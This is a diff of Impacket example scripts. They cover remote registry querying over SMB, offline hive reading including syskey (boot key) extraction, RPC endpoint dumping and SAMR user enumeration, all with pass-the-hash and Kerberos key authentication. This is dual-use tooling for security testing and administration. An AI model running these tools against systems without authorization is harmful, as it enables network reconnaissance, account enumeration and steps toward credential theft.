self.__action = options.action.upper()
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = options.aesKey
|
||||
self.__doKerberos = options.k
|
||||
self.__kdcHost = options.dc_ip
|
||||
self.__smbConnection = None
|
||||
self.__remoteOps = None
|
||||
|
||||
# It's possible that this is defined somewhere, but I couldn't find where
|
||||
self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
|
||||
5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}
|
||||
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||
|
||||
def connect(self, remoteName, remoteHost):
|
||||
self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))
|
||||
|
||||
if self.__doKerberos:
|
||||
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey, self.__kdcHost)
|
||||
else:
|
||||
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def run(self, remoteName, remoteHost):
|
||||
self.connect(remoteName, remoteHost)
|
||||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
|
||||
|
||||
try:
|
||||
self.__remoteOps.enableRegistry()
|
||||
except Exception, e:
|
||||
logging.debug(str(e))
|
||||
logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
|
||||
self.__remoteOps.connectWinReg()
|
||||
|
||||
try:
|
||||
dce = self.__remoteOps.getRRP()
|
||||
|
||||
if self.__action == 'QUERY':
|
||||
self.query(dce, self.__options.keyName)
|
||||
else:
|
||||
logging.error('Method %s not implemented yet!' % self.__action)
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
# import traceback
|
||||
# traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
finally:
|
||||
if self.__remoteOps:
|
||||
self.__remoteOps.finish()
|
||||
|
||||
def query(self, dce, keyName):
|
||||
# Let's strip the root key
|
||||
try:
|
||||
rootKey = keyName.split('\\')[0]
|
||||
subKey = '\\'.join(keyName.split('\\')[1:])
|
||||
except Exception:
|
||||
raise Exception('Error parsing keyName %s' % keyName)
|
||||
|
||||
if rootKey.upper() == 'HKLM':
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
elif rootKey.upper() == 'HKU':
|
||||
ans = rrp.hOpenCurrentUser(dce)
|
||||
elif rootKey.upper() == 'HKCR':
|
||||
ans = rrp.hOpenClassesRoot(dce)
|
||||
else:
|
||||
raise Exception('Invalid root key %s ' % rootKey)
|
||||
|
||||
hRootKey = ans['phKey']
|
||||
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
|
||||
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
|
||||
if self.__options.v:
|
||||
print keyName
|
||||
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
|
||||
print '\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
|
||||
elif self.__options.ve:
|
||||
print keyName
|
||||
value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
|
||||
print '\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
|
||||
elif self.__options.s:
|
||||
self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
|
||||
else:
|
||||
print keyName
|
||||
self.__print_key_values(dce, ans2['phkResult'])
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
|
||||
print keyName + '\\' + key['lpNameOut'][:-1]
|
||||
i += 1
|
||||
except Exception:
|
||||
break
|
||||
# ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
|
||||
# ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)
|
||||
|
||||
def __print_key_values(self, rpc, keyHandler):
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)
|
||||
lp_value_name = ans4['lpValueNameOut'][:-1]
|
||||
if len(lp_value_name) == 0:
|
||||
lp_value_name = '(Default)'
|
||||
lp_type = ans4['lpType']
|
||||
lp_data = ''.join(ans4['lpData'])
|
||||
print '\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t',
|
||||
self.__parse_lp_data(lp_type, lp_data)
|
||||
i += 1
|
||||
except rrp.DCERPCSessionError, e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
|
||||
def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):
|
||||
index = 0
|
||||
while True:
|
||||
try:
|
||||
subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
|
||||
index += 1
|
||||
ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'],
|
||||
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
|
||||
newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\'
|
||||
print newKeyName
|
||||
self.__print_key_values(rpc, ans['phkResult'])
|
||||
self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
|
||||
except rrp.DCERPCSessionError, e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except rpcrt.DCERPCException, e:
|
||||
if str(e).find('access_denied') >= 0:
|
||||
logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1])
|
||||
continue
|
||||
elif str(e).find('rpc_x_bad_stub_data') >= 0:
|
||||
logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1])
|
||||
return
|
||||
raise
|
||||
|
||||
@staticmethod
|
||||
def __parse_lp_data(valueType, valueData):
|
||||
try:
|
||||
if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ:
|
||||
if type(valueData) is int:
|
||||
print 'NULL'
|
||||
else:
|
||||
print "%s" % (valueData.decode('utf-16le')[:-1])
|
||||
elif valueType == rrp.REG_BINARY:
|
||||
print ''
|
||||
hexdump(valueData, '\t')
|
||||
elif valueType == rrp.REG_DWORD:
|
||||
print "0x%x" % (unpack('<L', valueData)[0])
|
||||
elif valueType == rrp.REG_QWORD:
|
||||
print "0x%x" % (unpack('<Q', valueData)[0])
|
||||
elif valueType == rrp.REG_NONE:
|
||||
try:
|
||||
if len(valueData) > 1:
|
||||
print ''
|
||||
hexdump(valueData, '\t')
|
||||
else:
|
||||
print " NULL"
|
||||
except:
|
||||
print " NULL"
|
||||
elif valueType == rrp.REG_MULTI_SZ:
|
||||
print "%s" % (valueData.decode('utf-16le')[:-2])
|
||||
else:
|
||||
print "Unkown Type 0x%x!" % valueType
|
||||
hexdump(valueData)
|
||||
except Exception, e:
|
||||
logging.debug('Exception thrown when printing reg value %s', str(e))
|
||||
print 'Invalid data'
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
# Explicitly changing the stdout encoding format
|
||||
if sys.stdout.encoding is None:
|
||||
# Output is redirected to a file
|
||||
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
subparsers = parser.add_subparsers(help='actions', dest='action')
|
||||
|
||||
# A query command
|
||||
query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that '
|
||||
'are located under a specified subkey in the registry.')
|
||||
query_parser.add_argument('-keyName', action='store', required=True,
|
||||
help='Specifies the full path of the subkey. The '
|
||||
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
|
||||
' HKU.')
|
||||
query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
|
||||
'value name that is to be queried. If omitted, all value names for keyName are returned. ')
|
||||
query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default '
|
||||
'value or empty value name')
|
||||
query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value '
|
||||
'names recursively.')
|
||||
|
||||
# An add command
|
||||
# add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
|
||||
|
||||
# An delete command
|
||||
# delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
|
||||
|
||||
# A copy command
|
||||
# copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote '
|
||||
# 'computer')
|
||||
|
||||
# A save command
|
||||
# save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the '
|
||||
# 'registry in a specified file.')
|
||||
|
||||
# A load command
|
||||
# load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in '
|
||||
# 'the registry.')
|
||||
|
||||
# An unload command
|
||||
# unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the '
|
||||
# 'reg load operation.')
|
||||
|
||||
# A compare command
|
||||
# compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries')
|
||||
|
||||
# A export command
|
||||
# status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into'
|
||||
# 'a file')
|
||||
|
||||
# A import command
|
||||
# import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, '
|
||||
# 'and values into the remote computer\'s registry')
|
||||
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true",
|
||||
help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '
|
||||
'target parameters. If valid credentials cannot be found, it will use the ones specified '
|
||||
'in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar="hex key",
|
||||
help='AES key to use for Kerberos Authentication (128 or 256 bits)')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in '
|
||||
'the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If ommited it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
# In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
|
||||
password = getpass("Password:")
|
||||
|
||||
regHandler = RegHandler(username, password, domain, options)
|
||||
try:
|
||||
regHandler.run(remoteName, options.target_ip)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies)
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description: A Windows Registry Reader Example
|
||||
#
|
||||
# Reference for:
|
||||
# winregistry.py
|
||||
#
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
import ntpath
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket import winregistry
|
||||
|
||||
|
||||
def bootKey(reg):
|
||||
baseClass = 'ControlSet001\\Control\\Lsa\\'
|
||||
keys = ['JD','Skew1','GBG','Data']
|
||||
tmpKey = ''
|
||||
|
||||
for key in keys:
|
||||
tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8])
|
||||
|
||||
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
||||
|
||||
syskey = ''
|
||||
for i in xrange(len(tmpKey)):
|
||||
syskey += tmpKey[transforms[i]]
|
||||
|
||||
print hexlify(syskey)
|
||||
|
||||
def getClass(reg, className):
|
||||
regKey = ntpath.dirname(className)
|
||||
regClass = ntpath.basename(className)
|
||||
|
||||
value = reg.getClass(className)
|
||||
|
||||
if value is None:
|
||||
return
|
||||
|
||||
print "[%s]" % regKey
|
||||
|
||||
print "Value for Class %s: \n" % regClass,
|
||||
|
||||
winregistry.hexdump(value,' ')
|
||||
|
||||
def getValue(reg, keyValue):
|
||||
regKey = ntpath.dirname(keyValue)
|
||||
regValue = ntpath.basename(keyValue)
|
||||
|
||||
value = reg.getValue(keyValue)
|
||||
|
||||
print "[%s]\n" % regKey
|
||||
|
||||
if value is None:
|
||||
return
|
||||
|
||||
print "Value for %s:\n " % regValue,
|
||||
reg.printValue(value[0],value[1])
|
||||
|
||||
def enumValues(reg, searchKey):
|
||||
key = reg.findKey(searchKey)
|
||||
|
||||
if key is None:
|
||||
return
|
||||
|
||||
print "[%s]\n" % searchKey
|
||||
|
||||
values = reg.enumValues(key)
|
||||
|
||||
for value in values:
|
||||
print " %-30s: " % value,
|
||||
data = reg.getValue('%s\\%s'%(searchKey,value))
|
||||
# Special case for binary string.. so it looks better formatted
|
||||
if data[0] == winregistry.REG_BINARY:
|
||||
print ''
|
||||
reg.printValue(data[0],data[1])
|
||||
print ''
|
||||
else:
|
||||
reg.printValue(data[0],data[1])
|
||||
|
||||
def enumKey(reg, searchKey, isRecursive, indent=' '):
|
||||
parentKey = reg.findKey(searchKey)
|
||||
|
||||
if parentKey is None:
|
||||
return
|
||||
|
||||
keys = reg.enumKey(parentKey)
|
||||
|
||||
for key in keys:
|
||||
print "%s%s" %(indent, key)
|
||||
if isRecursive is True:
|
||||
if searchKey == '\\':
|
||||
enumKey(reg, '\\%s'%key,isRecursive,indent+' ')
|
||||
else:
|
||||
enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ')
|
||||
|
||||
def walk(reg, keyName):
|
||||
return reg.walk(keyName)
|
||||
|
||||
|
||||
def main():
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.")
|
||||
|
||||
parser.add_argument('hive', action='store', help='registry hive to open')
|
||||
subparsers = parser.add_subparsers(help='actions', dest='action')
|
||||
# A enum_key command
|
||||
enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')
|
||||
enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')
|
||||
enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')
|
||||
|
||||
# A enum_values command
|
||||
enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')
|
||||
enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')
|
||||
|
||||
# A get_value command
|
||||
getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')
|
||||
getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')
|
||||
|
||||
# A get_class command
|
||||
getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')
|
||||
getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')
|
||||
|
||||
# A walk command
|
||||
walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')
|
||||
walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
reg = winregistry.Registry(options.hive)
|
||||
|
||||
if options.action.upper() == 'ENUM_KEY':
|
||||
print "[%s]" % options.name
|
||||
enumKey(reg, options.name, options.recursive)
|
||||
elif options.action.upper() == 'ENUM_VALUES':
|
||||
enumValues(reg, options.name)
|
||||
elif options.action.upper() == 'GET_VALUE':
|
||||
getValue(reg, options.name)
|
||||
elif options.action.upper() == 'GET_CLASS':
|
||||
getClass(reg, options.name)
|
||||
elif options.action.upper() == 'WALK':
|
||||
walk(reg, options.name)
|
||||
|
||||
reg.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# DCE/RPC endpoint mapper dumper.
|
||||
#
|
||||
# Author:
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
# Alberto Solino <beto@coresecurity.com>
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC.
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import argparse
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import uuid, version
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
|
||||
class RPCDump:
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
|
||||
139: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]', 'set_host': True},
|
||||
445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]', 'set_host': True}
|
||||
}
|
||||
|
||||
def __init__(self, username = '', password = '', domain='', hashes = None, port=135):
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__port = port
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def dump(self, remoteName, remoteHost):
|
||||
"""Dumps the list of endpoints registered with the mapper
|
||||
listening at addr. remoteName is a valid host name or IP
|
||||
address in string format.
|
||||
"""
|
||||
|
||||
logging.info('Retrieving endpoint list from %s' % remoteName)
|
||||
|
||||
entries = []
|
||||
|
||||
stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName
|
||||
logging.debug('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
|
||||
if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain,
|
||||
self.__lmhash, self.__nthash)
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(rpctransport)
|
||||
except Exception, e:
|
||||
logging.critical('Protocol failed: %s' % e)
|
||||
|
||||
# Display results.
|
||||
|
||||
endpoints = {}
|
||||
# Let's groups the UUIDS
|
||||
for entry in entries:
|
||||
binding = epm.PrintStringBinding(entry['tower']['Floors'], rpctransport.getRemoteHost())
|
||||
tmpUUID = str(entry['tower']['Floors'][0])
|
||||
if endpoints.has_key(tmpUUID) is not True:
|
||||
endpoints[tmpUUID] = {}
|
||||
endpoints[tmpUUID]['Bindings'] = list()
|
||||
if epm.KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]):
|
||||
endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
else:
|
||||
endpoints[tmpUUID]['EXE'] = 'N/A'
|
||||
endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1]
|
||||
endpoints[tmpUUID]['Bindings'].append(binding)
|
||||
|
||||
if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]):
|
||||
endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]
|
||||
else:
|
||||
endpoints[tmpUUID]['Protocol'] = "N/A"
|
||||
#print "Transfer Syntax: %s" % entry['Tower']['Floors'][1]
|
||||
|
||||
for endpoint in endpoints.keys():
|
||||
print "Protocol: %s " % endpoints[endpoint]['Protocol']
|
||||
print "Provider: %s " % endpoints[endpoint]['EXE']
|
||||
print "UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])
|
||||
print "Bindings: "
|
||||
for binding in endpoints[endpoint]['Bindings']:
|
||||
print " %s" % binding
|
||||
print ""
|
||||
|
||||
if entries:
|
||||
num = len(entries)
|
||||
if 1 == num:
|
||||
logging.info('Received one endpoint.')
|
||||
else:
|
||||
logging.info('Received %d endpoints.' % num)
|
||||
else:
|
||||
logging.info('No endpoints found.')
|
||||
|
||||
|
||||
def __fetchList(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
dce.connect()
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
|
||||
#dce.bind(epm.MSRPC_UUID_PORTMAP)
|
||||
#rpcepm = epm.DCERPCEpm(dce)
|
||||
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return resp
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information.")
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
|
||||
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
|
||||
'name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='135', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
dumper = RPCDump(username, password, domain, options.hashes, int(options.port))
|
||||
|
||||
dumper.dump(remoteName, options.target_ip)
|
||||
@@ -0,0 +1,262 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: DCE/RPC SAMR dumper.
|
||||
#
|
||||
# Author:
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC for SAMR
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import argparse
|
||||
import codecs
|
||||
|
||||
from datetime import datetime
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smb import SMB_DIALECT
|
||||
|
||||
class ListUsersException(Exception):
|
||||
pass
|
||||
|
||||
class SAMRDump:
|
||||
def __init__(self, username='', password='', domain='', hashes=None,
|
||||
aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False):
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__port = port
|
||||
self.__csvOutput = csvOutput
|
||||
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
@staticmethod
|
||||
def getUnixTime(t):
|
||||
t -= 116444736000000000
|
||||
t /= 10000000
|
||||
return t
|
||||
|
||||
def dump(self, remoteName, remoteHost):
|
||||
"""Dumps the list of users and shares registered present at
|
||||
remoteName. remoteName is a valid host name or IP address.
|
||||
"""
|
||||
|
||||
entries = []
|
||||
|
||||
logging.info('Retrieving endpoint list from %s' % remoteName)
|
||||
|
||||
stringbinding = 'ncacn_np:%s[\pipe\samr]' % remoteName
|
||||
logging.debug('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(rpctransport)
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
|
||||
# Display results.
|
||||
|
||||
if self.__csvOutput is True:
|
||||
print '#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,UserComment,ScriptPath'
|
||||
|
||||
for entry in entries:
|
||||
(username, uid, user) = entry
|
||||
pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart']
|
||||
if pwdLastSet == 0:
|
||||
pwdLastSet = '<never>'
|
||||
else:
|
||||
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet)))
|
||||
|
||||
if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD:
|
||||
dontExpire = 'True'
|
||||
else:
|
||||
dontExpire = 'False'
|
||||
|
||||
if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED:
|
||||
accountDisabled = 'True'
|
||||
else:
|
||||
accountDisabled = 'False'
|
||||
|
||||
if self.__csvOutput is True:
|
||||
print '%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'],
|
||||
user['BadPasswordCount'], user['LogonCount'],pwdLastSet,
|
||||
dontExpire, accountDisabled, user['UserComment'].replace(',','.'),
|
||||
user['ScriptPath'] )
|
||||
else:
|
||||
base = "%s (%d)" % (username, uid)
|
||||
print base + '/FullName:', user['FullName']
|
||||
print base + '/UserComment:', user['UserComment']
|
||||
print base + '/PrimaryGroupId:', user['PrimaryGroupId']
|
||||
print base + '/BadPasswordCount:', user['BadPasswordCount']
|
||||
print base + '/LogonCount:', user['LogonCount']
|
||||
print base + '/PasswordLastSet:',pwdLastSet
|
||||
print base + '/PasswordDoesNotExpire:',dontExpire
|
||||
print base + '/AccountIsDisabled:',accountDisabled
|
||||
print base + '/ScriptPath:', user['ScriptPath']
|
||||
|
||||
if entries:
|
||||
num = len(entries)
|
||||
if 1 == num:
|
||||
logging.info('Received one entry.')
|
||||
else:
|
||||
logging.info('Received %d entries.' % num)
|
||||
else:
|
||||
logging.info('No entries received.')
|
||||
|
||||
|
||||
